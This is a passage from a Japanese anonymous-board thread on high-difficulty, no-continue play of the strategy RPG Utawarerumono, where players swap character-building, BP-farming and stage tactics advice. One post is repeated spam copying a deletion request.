764 名前:【沈黙-ω-】 ◆.0e0wEv5W6 [2006/12/15(金) 17:39:04 ID:31JQsMG10] 何かと比べることの多かったランスだが 今回のはかなり出来がいいらしいな・・・こんなレスをちらほら見かけた 325 :名無したちの午後 :2006/12/15(金) 17:20:49 ID:QmIG/q0t0 ランスはかなり作りこんでるな これをプレイしてしまうと うたわれのクソっぷりがよく判る
765 名前:名無しさんだよもん mailto:sage [2006/12/15(金) 18:18:27 ID:1phpFbqV0] >>764 煽りでも何でもいいんだけど、ここは高難度攻略スレだから そういう話題はせめて本スレに持って行って欲しいと思う訳で。 このスレでは一回も比べられた事はないよ
766 名前:名無しさんだよもん mailto:sage [2006/12/16(土) 00:04:12 ID:ICUBmT7R0] ちょっと真面目な話… 正直、うたわれの戦闘システムはそんな作りこまれてるわけでも、出来が良いわけでもないと思う。 ただ、シンプルで分かりやすい分はまりやすさはあるんじゃないかなあ。尺も短いし。
767 名前:名無しさんだよもん mailto:sage [2006/12/16(土) 19:51:37 ID:hFLY2HiS0] 難易度5のノーコンでやってるんだけど、ベナウィが思うように育たないなぁ。 技を上げるタイミングが不味いのか、トウカの足元にも及ばぬステータスだ。 アヴ。カムゥから逃げ回るステージの開始時点で、L v21技5攻58防33術防28なんだけど、神々様方はどんなもんですか?
768 名前:名無しさんだよもん mailto:sage [2006/12/16(土) 20:34:36 ID:2uCPwlIM0] >>767 神ではなく神を仰ぎ見る下界の雑魚庶民だけど 自分の場合だとその時点で技5と攻99には確実に到達して、防と術防を粛々と上げてるな まあ個人的にベナウィ贔屓で攻略するのがデフォなため、全パラとっとと99にすること 前提の育成なので、普通はそこまでやらなくてもいいと思うけど、主力として育ててるなら そこで攻55はちょっと低い気がする。BPの獲得量が足りなかったかも。 セオリー通りだけど 連撃二発目以降で倒せる敵はあえて倒さず削るだけにして、次のターンの連撃1発目で倒す ステージのボスはレベル差が開くまで粘るのは当然、技数少ない時は気力MAX倒し利用、と BPを無駄なく最大獲得、とにかくBP乞食と化して頑張るw 難易度5だと大変だけど序盤でエルルウ上げまくって、聖上デコイ化成功してれば結構いけるよ あと、ベナに限らないけど、強くしたいなら技を最優先で限界まで上げてから、だと思うよ じゃないとBP獲得量が全然違ってくるから。 このスレで奴の育成がやりやすい方って認識なのも、技5のメリットが大きい訳だし
769 名前:767 mailto:sage [2006/12/17(日) 01:23:20 ID:RTPqlHAc0] >>768 マジですか…。ってことは単純計算で50*40=2000以上もBPの獲得の差があるってことか…。 シケリペチム侵攻阻止、暁を乱すものではオボロと半々位、 狩しもの(ryはオボロ、トウカ、ベナウィ各15程度の撃破数なんですが、トウカを削るべきなのかなぁ…。
770 名前:名無しさんだよもん mailto:sage [2006/12/17(日) 02:41:35 ID:f+WS3yC70] >>769 先のレスにも書いたけど、自分の場合はかなり極端だからここまで行く必要は無いと思う このペースでいくと、大抵終盤BP余っちゃうくらいだから、ただの自己満足なんで。 トウカは敵のときにめいっぱいレベル上げておいて基礎値上げておく+ナ・トゥンク遠征で BP独り占め、くらいの勢いで集中させるようにし、そこで稼いでもらって それ以降は基本的にはベナに割り振ってる←自分はカルラはメインでは使わないので。 オボロは序盤で大量に稼がせておく。 で、極端野郎の例なんであくまでも参考までに シケリペチム侵攻阻止ではほぼベナがとどめ役なのは無論、その時点では技2なので 普通にやると20しか入らないから気力MAX倒しで30獲得の数を増やしたり、面倒だけど 雑魚兵士の最後の一人を高レベルエルルウを的にして大量にレベル上げてから倒してると このマップだけで、加入時から溜まってるBPと合わせて技を2段階アップウハウハとか オボロ、トウカと違ってベナは育てれば最強だけど、育てるつもりなら最初から狙って 行かないと半端に終わる可能性も高いキャラだと思う 長文失礼。
771 名前:名無しさんだよもん mailto:sage [2006/12/17(日) 16:24:07 ID:7n5Wk5Jg0] ベナとトウカの2TOPでやってる俺はオボロを多少削ってるな 侵攻阻止、突攻、エヴェンクルガ、橋辺りはほとんどベナで殺してたような気がする よく覚えてないけどハーレム前に技5にしとくのは多分基本 オボドリ→ベナカルオボ→トウカル→ベナトウオボの優先順で育てると俺の場合丁度良い ハーレム後のシケリペチム戦はほとんどベナにあげる勢いでも大丈夫じゃないかな
772 名前:名無しさんだよもん mailto:sage [2006/12/18(月) 06:06:50 ID:o131YYt60] ベナ、トウカはバランス型で強いのは確かなんだが 両方とも水の属性というのが困る。 カルラは遅いから そうなると渋くクロウを育てるか 防御にやや不安があるが素早さをとってオボロを育てるかになるな。 アルルゥは弱くは無いが、攻撃うpがしにくいし技最大値も低いから 風の攻撃役はどうしてもドリィになる
773 名前:名無しさんだよもん [2006/12/18(月) 12:18:47 ID:79suk9aU0] オボロでいいじゃない
774 名前:名無しさんだよもん [2006/12/18(月) 15:56:30 ID:ic4da5yx0] 38 名前:依頼者[] 投稿日:2006/11/16(木) 19:52:43 HOST:fb-202231146-231.urban.ne.jp 削除対象アドレス: travel2.2ch.net/test/read.cgi/travel/1146445855/531-535 削除理由・詳細・その他: 連続投稿で利用者の会話を害しているもの(個々の内容に違いがあっても、荒らしを目的としているもの) 38 名前:依頼者[] 投稿日:2006/11/16(木) 19:52:43 HOST:fb-202231146-231.urban.ne.jp 削除対象アドレス: travel2.2ch.net/test/read.cgi/travel/1146445855/531-535 削除理由・詳細・その他: 6. 連続投稿・重複 連続投稿で利用者の会話を害しているもの(個々の内容に違いがあっても、荒らしを目的としているもの) 38 名前:依頼者[] 投稿日:2006/11/16(木) 19:52:43 HOST:fb-202231146-231.urban.ne.jp 削除対象アドレス: travel2.2ch.net/test/read.cgi/travel/1146445855/531-535 削除理由・詳細・その他: 6. 連続投稿・重複 連続投稿で利用者の会話を害しているもの(個々の内容に違いがあっても、荒らしを目的としているもの) 38 名前:依頼者[] 投稿日:2006/11/16(木) 19:52:43 HOST:fb-202231146-231.urban.ne.jp 削除対象アドレス: travel2.2ch.net/test/read.cgi/travel/1146445855/531-535 削除理由・詳細・その他: 6. 連続投稿・重複 連続投稿で利用者の会話を害しているもの(個々の内容に違いがあっても、荒らしを目的としているもの) 38 名前:依頼者[] 投稿日:2006/11/16(木) 19:52:43 HOST:fb-202231146-231.urban.ne.jp 削除対象アドレス: travel2.2ch.net/test/read.cgi/travel/1146445855/531-535 削除理由・詳細・その他: 6. 連続投稿・重複 連続投稿で利用者の会話を害しているもの(個々の内容に違いがあっても、荒らしを目的としているもの)
775 名前:名無しさんだよもん mailto:sage [2006/12/18(月) 21:45:29 ID:kWi/3/kd0] オボロは難度上がれば上がる程、防御の薄さがネックになるな 育てやすいし強い事は強いんで使うけど、終盤はかなり厳しいなあ ベナウィは私も遅くてもハーレム前に技5って目安にしてるな BPの計算式を知らなかった頃は、攻略サイトに書いてあることを信じてて 弱いキャラだと思ってたっけ
776 名前:767 mailto:sage [2006/12/19(火) 15:38:37 ID:7JeNF0Np0] 難易度5クリアしました…。結局ベナウィの最終ステータスは Lv.33攻99防63術防46撃破数95で、最後までトウカ(99,80,96)頼みでした。 やはりベナウィの技が暁を乱すもの後に最大に達したのが良く無かったですね…。
777 名前:名無しさんだよもん mailto:sage [2006/12/19(火) 19:27:10 ID:+ViBb5rE0] みなさんよくそれだけの防御力でクリアできますね。 アブカムゥでいつも泣かされるから、オボロ、べナウィ トウカ、クロウを99にして臨んで、なんとかクリアしたんですがねえ。
778 名前:名無しさんだよもん mailto:sage [2006/12/19(火) 19:43:13 ID:7JeNF0Np0] >>777 ノーコンでアヴカムゥ前に防御99いくの?
779 名前:名無しさんだよもん mailto:sage [2006/12/20(水) 14:03:39 ID:aH+Bm5C/0] ノーコンじゃないんだろ
780 名前:名無しさんだよもん mailto:sage [2006/12/21(木) 06:57:15 ID:LYEYinOn0] クーヤステージで アヴカムゥって何回復活するっけ? 2回だっけか?
781 名前:名無しさんだよもん mailto:sage [2006/12/21(木) 20:03:16 ID:uytp1ZTb0] 復活はしない
782 名前:名無しさんだよもん mailto:sage [2006/12/21(木) 21:05:10 ID:hVNqm59c0] 遅れて増援として出てくるだけ。
783 名前:名無しさんだよもん mailto:sage [2006/12/27(水) 14:51:37 ID:LS1j6F0D0] 難易度3初プレイ中・・・トウカがこんな強かったとは
784 名前:ミュートス [2006/12/27(水) 18:13:57 ID:mrlTw8bnO] うたわれるものPS2版でハンサナ攻防障害物含め全て破壊しました
785 名前:名無しさんだよもん mailto:sage [2006/12/28(木) 12:17:23 ID:3/NwwfjL0] トウカは橋のステージで高レベルのエルルゥを生贄に捧げてBPを稼ぐべし。
786 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 00:45:48 ID:CAGD0yp90] よくエルルゥ生贄って聞くけど、一体どうなるんだ? 相手のレベルを上げさせるってことか? で、トウカの場合(トウカに限らんが)仲間になったとき にそのレベルが反映されるってことか?
787 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 09:40:04 ID:64IHjCky0] BPや経験値は敵の状態でも手に入っているという処理なので 敵の時に高レベルなエルルゥを生贄にささげればトウカのBP大量取得(゚д゚)ウマー 一撃目でやられて最後まで連撃が入ればさらに(゚д゚)ウママー という小ネタというわけであります、はい。
788 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 15:14:43 ID:HaXHz/sK0] >>787 ベナウィが最初からBP大量に持っていることがあるという報告があるが そういうところからきてたのか
789 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 18:26:31 ID:NR74g9Ox0] べナウィやクロウに殺されたキャラは何人かいたけど、別にBP増えてなかったぞ。 レベルが引き継がれるのは間違いないが、BPは関係ないと思う。
790 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 19:17:30 ID:nOjoXedt0] ベナウィ トウカ LV 引き継がれる 引き継がれる BP ? 引き継がれる
791 名前:名無しさんだよもん mailto:sage [2006/12/29(金) 20:27:11 ID:L2I+KgAM0] レベルが引き継がれるのはトウカだけで、ベナウィとクロウは レベル固定だと思う ベナのBPは、最初から400程溜まってる時と溜まってない時があるけど 味方を大量に生け贄にしてみても溜まってなかったり 逆に撤退なしでクリアしたのに溜まってたり 法則がイマイチ分からない
792 名前:名無しさんだよもん mailto:sage [2007/01/03(水) 15:14:41 ID:mlCaBJrY0] 誰か検証してくれ
793 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 17:40:35 ID:F8KIMHEk0] 難度1のノーコンで技にばっかBP振ってたらベナウィ決戦で全然勝てなくなってしまいました。 まともにダメージ与えられるのオボロだけなのにすぐ死ぬし・・・ 上のほうでベナウィねらい打ちすれば書き込みがあったけどそれ以前にハクオロか オボロが死ぬ。 何かいいコツとかはないでしょうか?
794 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 18:03:13 ID:u1HWWMhm0] ちょうどよいくらいにレベルアップするように前のステージで調整だ
795 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 18:03:34 ID:pQpXFE5g0] やり直すのが一番手っ取り早いが、難度1ならBP無しでも攻略できるからな。 ・ドリィの必殺で騎兵は1匹殺せる ・障害物でハクオロ挟むか、あるいは障害物から1歩引いた位置に陣取って、 障害物の間にはアルルゥでも突っ込んでみろ。ハクオロの横はエルルゥなりグラァなりで盾を作れ。 ・テオロは囮。相手の動きをブロック汁、釣れ。死んだらグラァが囮w ・上の通りにやればハクオロはベナウィ、弓だけにしか攻撃されない…はず。何とかエルルゥ回復が追いつくだろ。
796 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 18:09:45 ID:pQpXFE5g0] 当たり前だけど弓兵は最優先で殺るべし。オボロ効果と属性にも注意。
797 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 18:17:08 ID:pQpXFE5g0] っていうか、誰が主力で、ステータスがどんなもんか書かないと分からんなw ドリィの必殺云々って言ったって、ドリィを重点的に育てて、 かつ技上げたらひたすら攻撃上げてるのが前提だし。
798 名前:793 mailto:sage [2007/01/04(木) 18:26:47 ID:F8KIMHEk0] >>794 小手先の回復じゃ駄目なくらいヘボなんです。 >>795-797 ドリィは育ててなかったんで>>795 の下の3つを試しましたが全く駄目でした。 今度はエルルゥがさっさと死にます。 ちなみに属性は最初から気をつけてます。 主力はオボロでLv.9,技:4で、残りはデフォルトのままです。 ちなみにエルルゥはLv.11,技:2,防御:16 ハクオロがLv.7,防御:43です。 BPが1ステージでオボロでも300くらいしか入らないんで、そのせいで弱いのかもしれないです。 森の娘で、全部オボロに倒させても(ベナウィ、クロウ含む)そんなもんでした。 自分で思いつく限りでは最初からやってせいぜいエルルゥのレベルを上げる事程度です。
799 名前:名無しさんだよもん mailto:sage [2007/01/04(木) 21:05:24 ID:NCO7qVXk0] 慣れてないならエルルゥは可能な限りレベル上げするべし 壱なら多分それだけでおk
800 名前:793 mailto:sage [2007/01/04(木) 21:09:23 ID:F8KIMHEk0] >>799 わかりました。なんとか頑張ってみます。 みなさんどうもありがとうございました。 (さっきベナウィが残り10のところで死んでしまいました。あとちょっとです)
801 名前:名無しさんだよもん mailto:sage [2007/01/05(金) 02:49:17 ID:rzJaPOsr0] エルルゥを効率よくレベル上げると、最初のステージクリアで10以上 森の娘あたりまでで20以上は狙えるからな。 相手がザコ敵だったら2匹〜3匹残し 相手がボスクラスだったら1匹。 安全かつ効率的にやるべし
802 名前:793 mailto:sage [2007/01/05(金) 14:36:48 ID:NDtWjgGZ0] できました・・・・疲れた。 結局最初からやり直しました。 アルルゥを見捨てて変わりにドリィを育成。 エルルゥはLv.20まで2回目のヌワンギで粘りました。 不思議な事に前と違ってベナウィがオボロではなくエルルゥに何故か向かっていくのでオボロはダメージ0. そしてふらふらしているベナウィをドリィとオボロで滅多打ち。 結局エルルゥの回復は利用しないままでした。 教えてくれた方、どうもありがとうございました。
803 名前:名無しさんだよもん mailto:sage [2007/01/05(金) 18:39:08 ID:Raaq4Fit0] よしゃ!よくやった!俺関係ないけどな… ま、最終的にクリアに必要なのは慣れと根気だろうな
804 名前:名無しさんだよもん mailto:sage [2007/01/07(日) 00:19:32 ID:Sau24enU0] 賢大僧正って障害物とかでもカウントされますよね? あと、一つのキャラが100体以上敵を倒していれば侍大将,足軽頭,衛士は3つとも取れるのでしょうか? それとも20,50,100と3人のキャラがそれぞれでなければいけませんか?
805 名前:名無しさんだよもん mailto:sage [2007/01/07(日) 14:00:51 ID:7ygUb4ml0] カウントされる それぞれ
806 名前:804 mailto:sage [2007/01/07(日) 14:31:16 ID:Sau24enU0] >>805 ありがとうございました。これで安心して進められます。
807 名前:名無しさんだよもん mailto:sage [2007/01/07(日) 18:32:01 ID:JBHNZHu50] ノーコンでやってたら20がカウントされなかったんだぜ
808 名前:名無しさんだよもん mailto:sage [2007/01/07(日) 20:46:32 ID:gNhA/a9s0] state
809 名前:名無しさんだよもん mailto:sage [2007/01/08(月) 02:37:34 ID:okWKlraA0] >>805 ある攻略サイトでは 100だけは別と書かれていた。
810 名前:名無しさんだよもん mailto:sage [2007/01/08(月) 04:18:17 ID:okWKlraA0] エルルゥの回復連撃の時に alt押してると回復量が減るのは周知の事実だけど 二回目の連撃が逆に回復するどころかダメージになってるってのは がいしゅつ? verは1.0
811 名前:名無しさんだよもん mailto:sage [2007/01/08(月) 04:21:20 ID:okWKlraA0] しかも連撃でダメージを食らわせてる分もどうやらきっちり経験地に入ってるし
812 名前:名無しさんだよもん mailto:sage [2007/01/08(月) 10:30:47 ID:NaWmzpZQ0] 日本語でおk
813 名前:名無しさんだよもん mailto:sage [2007/01/13(土) 16:46:18 ID:cyS7FMVa0] ヘタレの俺が右も左も分からないまま初めて、コンティニューしまくって高難度1を今クリアしたんだが このスレのレベルの高さに愕然… オボロとベナウィを早々に見限って、ドリィとクロウとカルラとトウカを主力にしてたからなorz まあハクオロさん効果とかBPの溜め方について学習したから、難度2に上げてノーコンに挑戦してくるよ('A`)ノシ
814 名前:名無しさんだよもん mailto:sage [2007/01/13(土) 17:02:18 ID:CDz2eUr90] がんばれ。高難易度5はある意味廃人じゃないとクリアするのは大変だろう。 このゲームやり込める要素は少ないという人もいるが、アニメとかでうたわれ を好きになった人なら愛着を感じるから周回プレイもそう苦にはならんはずだ。
815 名前:名無しさんだよもん mailto:sage [2007/01/14(日) 14:03:47 ID:rhRGTszN0] シンプルだからこそやり込めると思う俺が来ましたよ
816 名前:名無しさんだよもん mailto:sage [2007/01/14(日) 15:48:09 ID:jnu9yiP90] 標準→高難易度5と途中をすっとばしてもノーコンでなんとかクリアした俺もきましたよ
817 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 02:14:00 ID:OCH36Bvj0] すいません、難易度5の決戦で行き詰まってしまいました。 直前の皇都侵略のデータがあります。 決戦の開始時点でハクオロ(間違って連打しちゃいました。かなり痛い)とドリィ(クロウに必殺使用)の気力がほぼ0。 なので侵略からやり直そうとおもったのですが、一度はできたのに今度はクリアできなくなってしましました この状態でも決戦攻略可能でしょうか?又は侵略のアドバイスを教えていただけませんか? 侵略ではMAP一番したで陣を構えているんですが、どうもうまくエルルゥとハクオロを守りきることができません どうかよろしくお願いします
818 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 15:21:50 ID:ZNgRvJHj0] 侵攻なんてドリィがクロウに必殺撃ちこめば一発じゃなかったっけ。そりゃ参か。 敵の遠くに陣取るのは一見良さそうだけどダメ。クロウが発進する前に可能な限り雑魚を殺しちゃいなさい。 どうしてもダメならハクオロとエルルゥとドリィで一番下の窪みに入りなさい。 アルルゥたちとの波状攻撃でオボロにできるだけBP稼がせとけば後々も問題ない。 決戦はもうちょっと詳しいスペックがわからないと判断できない。 とりあえずハクオロさんが開始時点で気力0なのはかなり痛いね。
819 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 19:17:24 ID:jlGlmW3K0] >>818 >>817 じゃないけど、ハクオロの気力0って何がまずいんですか? ステータス下降ですか?
820 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 19:41:06 ID:HqCdysBm0] 気力がMAXだと防御力があがる
821 名前:前スレ134 mailto:sage [2007/01/15(月) 22:09:36 ID:ztSKhngu0] >817 決戦はハーレム最後と同じで決まったパターンは無いので・・・ ドリィが必殺技を使えないならベナの首取りは難しいかも。 基本は隣接効果を生かしつつ、最初は2〜3歩前進し、段々後退し引きつけます。 倒す順番としては歩兵(風優先・土後回し)・弓兵(風水優先・土後回し) 弓兵で、そのあたりで騎兵が動き出したら、騎兵(水は動いたらオボロ(+テオロ)で突っ込む) 騎兵・歩兵の順で倒します。余裕が無ければ騎兵一体は放置してベナに突っ込みます。 でも、ケースバイケースが多いので、>818さんの言うとおり 前ステージでドリィとハクオロの気力をMAXにした方が良いかもデス。
822 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 22:17:55 ID:HqCdysBm0] 134よ、久々に一枚たのむ。
823 名前:名無しさんだよもん mailto:sage [2007/01/15(月) 22:20:17 ID:DHkd/09h0] 134神が久しぶりに降臨された。 初詣行ってないから今年初めて手を合わせた。
824 名前:819 mailto:sage [2007/01/15(月) 22:35:00 ID:jlGlmW3K0] >>820 なるほど。 ありがとうございます。
825 名前:817 mailto:sage [2007/01/16(火) 01:26:55 ID:QykUS3Ui0] みなさんの意見を参考にしまして何とか侵攻(侵略じゃありませんでしたね^^;)と決戦クリアできました 侵攻は開始と同時にテオログラァを左側の広場に逃がして囮にして残ったメンバーで一番したに構えました クロウが動き出したら陣に到着までしのぎドリィの射程に入ったら2ターンがかりで首を取りました 決戦もテオログラァを右に逃がして左の歩兵弓兵→囮を倒し終えた歩兵弓兵→騎兵を無視してベナの首とりで勝利 ちなみに侵攻のときドリィは技カンスト残り攻撃だったのですが、ベナが強くなるまでのつなぎにしか使わない前提なら 全部攻撃に振ったほうがよかったですかね? あとオボロは最後まで使おうとおもってますが、 決戦終了時のBP振りで技4残り力で決戦のときやや火力不足を感じましたがこんなもんでしょうか? 難易度5を挑戦するものとして質問ばかりで恐縮ですが、よろしくお願いします
826 名前:名無しさんだよもん mailto:sage [2007/01/16(火) 08:56:25 ID:YO8GKsXU0] 隣接効果って素早さも関係あるかな? 囲み効果は敵の素早さを減少させるけど。 それと敵のレベルアップって結構素早さあがるよね。 トウカ初登場ステージで 何気なくレベル21まで上げてみたら鬼神のような強さだった。
827 名前:名無しさんだよもん mailto:sage [2007/01/16(火) 14:16:32 ID:0W/E9wwU0] 素早さは敵味方ともレベルに関わらずキャラごとに固定、気力MAXの恩恵は受けない 隣接してる味方(敵)の人数×一定値上がる(下がる) 隣接してるのが敵2・味方2なら、だれとも隣接してない状態と同じ数値 のはず
828 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 06:47:36 ID:QZ1j3prt0] 敵に関してはレベルアップした時に素早さも上昇する。 猿使ってエルルゥのレベル上げしてると、レベルアップで猿が素早くなったせいで回復が間に合わずにハクオロが殺されたりするよ。
829 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 09:52:31 ID:34G9Cjdd0] ただ囲まれてただけだろ
830 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 10:05:01 ID:XOBJXqS50] >>829 違うよ。実際やってみ。 トウカに関してだけど 最初(Lv.14時)はエルルゥとハクオロ隣接状態で 若干エルルゥのほうが早いか同じくらいといった感じだけど Lv.20あたりになると、明らかにトウカのほうが早い。 大体、エルルゥが5〜6回ターンが回ってくる間にトウカには6〜7ターン攻撃がまわる ボス囲んでエルルゥのレベル上げを延々やったことがある人なら 誰でも知っているはず。
831 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 10:06:11 ID:XOBJXqS50] ちなみに>>830 のはトウカが敵の時の話ね。 クロウも敵の時、最初はエルルゥよりも若干素早さは遅いが Lvが2、3回上がると同等か、エルルゥより素早くなる
832 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 12:08:22 ID:bYTwseR80] 敵はレベル上がると間違いなく素早さ上がってるぞ。 おかげでレベル5だとムティカパ様のレベルが上がってアボーンなんて悲しい事態がしばしば起こる。
833 名前:名無しさんだよもん mailto:sage [2007/01/17(水) 17:38:49 ID:J5rQcB9v0] だね それがあるから、レベル上げもここでやめとくかーっていう区切りになるw